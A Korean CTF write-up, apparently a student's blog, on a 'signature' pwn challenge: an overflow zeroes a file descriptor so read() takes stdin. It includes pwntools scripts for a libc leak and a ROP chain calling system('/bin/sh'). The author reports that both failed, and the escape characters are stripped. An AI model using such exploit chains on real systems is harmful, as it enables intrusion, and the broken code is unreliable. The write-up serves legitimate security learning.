

C코드는 다음과 같다. 확실히 한눈에 봤을 때 leak 할 수 있는 부분이나 덮어쓸 수 있는 부분이 적어보인다.. 그래도 취약한 부분을 찾아보자!
특이하게 이번엔 flag.txt라는 파일을 열어서 해당 파일에서 100byte를 읽어오고 있다.

파일 안에는 ‘CyKor{th1s_i3_f1ag_0f_Y0U}’라는 문자열이 적혀있다.
그리고 name 배열에 내가 24byte만큼 입력하고, 입력한 것을 파일의 buf + 22부터 붙이고 있다.
그 다음에 for 문을 돌면서 0을 ‘}’로 바꾸고 있는데, 이건 아마도 flag의 형식을 맞춰주기 위한 것인 것 같다.
그리고 마지막에 완성된 buf를 출력해준다.

실제로 내 이름을 입력하면 위와 같이 출력해준다.
그런데 여기서 실행 흐름을 조작할 수 있는 방법이 있다.

이 부분은 scanf(”%24s”, name);으로 입력을 받고, file에서 read를 해오는 부분이다. 그런데 read의 인자로 전달되는 부분을 잘 보자.
rcx에 buf의 주소를 저장하고 있고, eax에는 fd의 주소를 저장하고 있다. 그리고 edx에 100을 저장하고, rcx를 rsi에, eax를 edi에 전달하면서 read(fd, buf, 100)을 완성하고 있다.
실제로 정상적인 입력을 받을 시에는 fd의 주소에서 가져온 값이 3으로 되어 있다.
그런데 만약 24byte 이상의 문자열을 전달한다면 어떻게 될까?

fd가 저장되어있는 부분에 0이 저장되어 있다! 이렇게 되면 read(fd, buf, 100)은 read(0, buf, 100)으로 바뀌어 파일에서 100byte를 읽어오는 것이 아니라 우리가 100byte를 입력할 수 있게 된다!
0으로 바뀌는 이유는 다음을 참고하면 될 것 같다.
확실한 지는 모르겠지만, scanf가 입력에 오류가 나서 0으로 반환한 것과 관련이 있다고 본다.
결국 read의 fd를 0으로 바꾸면 원하는 입력을 넣을 수 있다.
그렇다면 어떻게 exploit 할 수 있을까? 처음에 했던 생각은 read로 입력을 받을 때 sfp까지 덮어서 ret에 들어있는 값을 구한다. ret에는 reuse에서 풀었던 것과 같이 __libc_start_call_main로
돌아가는 주소를 담고 있다. 따라서 해당 주소를 가져와서 __libc_start_call_main의 offset을 빼주면 libc_base의 주소를 구할 수 있고, system 함수와 /bin/sh의 주소까지 알 수 있다.
from pwn import *
p = process("./signature")
libc_start_call_main_offset=0x29d10
system_offset=0x50d60
binsh_offset=0x1d8698
sleep(1.0)
name= b'A' * 0x58
p.sendline(name)
sleep(0.3)
p.send(name)
leak = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info("Leak data is - "+hex(leak))
libc_main=leak - libc_start_call_main_offset - 128
log.info("libc_main address is - "+hex(libc_main))
system=libc_main + system_offset
binsh=libc_main + binsh_offset
pause()
p.interactive()

실제로 exploit 코드를 어느 정도 짜고 libc_base 주소까지 구했는데.. 이걸 ret에 덮을 방법을 찾지 못했다.. strcpy로 buf+22부터 name으로 덮고 있지만 name은 최대 24byte만 받고 있으며 심지어 libc_base의 주소를 얻는 것은 name에 입력한 이후이므로 새롭게 쓸 방법이 없다!
결국 내가 했던 방법으로는 이 코드에서 쉘을 따기 힘들 것 같다. 구글링 해본 결과 ROP로 해결하는 것이 옳은 방법인 것 같다.
ROP로는 어떻게 해결할 수 있을까? 내가 생각한 과정은
- printf@plt로 printf의 got을 인자로 받아서 printf의 실제 libc 주소를 leak 한다.
- read(0,bss,8)을 실행시켜 프로그램 실행을 중단시키고, 위에서 leak한 주소를 이용해서 libc_base, system 함수 주소를 계산한다.
- 2에서 실행한 read(0,bss,8)에 ‘/bin/shx00’을 입력해서 bss에 /bin/sh을 입력해놓고, system(/bin/sh)을 실행시켜 쉘을 획득한다.
이렇게 exploit 과정을 생각하고, pop rdi;ret, pop rsi; pop r15;ret 가젯까지 구한 다음에 exploit 코드를 작성했다.
from pwn import *
p = process("./signature")
rdi_ret=0x00401313
rsi_r15_ret=0x00401311
printf_plt=0x401050
printf_got=0x404028
read_plt=0x401060
read_got=0x404030
bss=0x404058
printf_offset=0x60770
system_offset=0x50d60
p.recvuntil("Make your 0wn flag!n")
payload= b'A' * 0x58
p.sendline(payload)
sleep(0.3)
payload+=p64(rdi_ret) + p64(printf_got)
payload+=p64(printf_plt)
payload+=p64(rdi_ret) + p64(0)
payload+=p64(rsi_r15_ret) + p64(bss) +p64(0)
payload+=p64(read_plt)
p.send(payload)
leak = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info("Leak data is - "+hex(leak))
libc_main= leak - printf_offset
log.info("libc_main address is - "+hex(libc_main))
system=libc_main + system_offset
payload=(b'/bin/sh').ljust(8,b"x00")
payload+=p64(rdi_ret) + p64(bss)
payload+=p64(system)
p.send(payload)
pause()
p.interactive()
하지만 계속 error를 출력하길래 조금씩 바꿔보면서 시도해보고, 주변에 물어보면서 고쳐보았지만 계속 실패해서 결국 포기해버렸다,,, ROP는 다음 강의를 듣고 다시 시도해보아야겠다..!